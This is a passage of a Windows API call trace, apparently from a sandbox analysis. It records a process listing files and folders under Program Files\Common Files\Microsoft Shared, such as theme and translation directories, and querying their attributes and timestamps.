lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0063.473] GetLastError () returned 0x12 [0063.473] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.473] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0063.473] GetLastError () returned 0x12 [0063.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.473] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.473] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.473] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0063.473] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0063.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0063.474] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb3b88 [0063.474] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb3b88, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb3b88, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb3b88) returned 1 [0063.474] NtClose (Handle=0x184) returned 0x0 [0063.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0063.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb20c8 [0063.474] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0063.474] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.474] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb21d0 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfafb60 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb22d8 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3ba0 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb23e0 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3bc0 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb24e8 [0063.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.475] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0063.475] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3be0 [0063.476] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb25f0 [0063.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0063.476] GetLastError () returned 0x12 [0063.476] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0063.476] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x2ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.INF", cAlternateFileName="")) returned 0 [0063.476] GetLastError () returned 0x12 [0063.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb20c8) returned 1 [0063.476] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0063.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb21d0) returned 1 [0063.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0063.476] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0063.476] GetLastError () returned 0x12 [0063.476] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0063.476] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0063.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0063.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0063.477] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1 [0063.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0063.477] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0063.477] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0063.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4388 [0063.477] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4388, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4388, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0063.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4388) returned 1 [0063.477] NtClose (Handle=0x18c) returned 0x0 [0063.477] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0063.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0063.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0063.477] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0063.478] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARFR", cAlternateFileName="")) returned 1 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENES", cAlternateFileName="")) returned 1 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENFR", cAlternateFileName="")) returned 1 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESEN", cAlternateFileName="")) returned 1 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRAR", cAlternateFileName="")) returned 1 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0063.487] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: 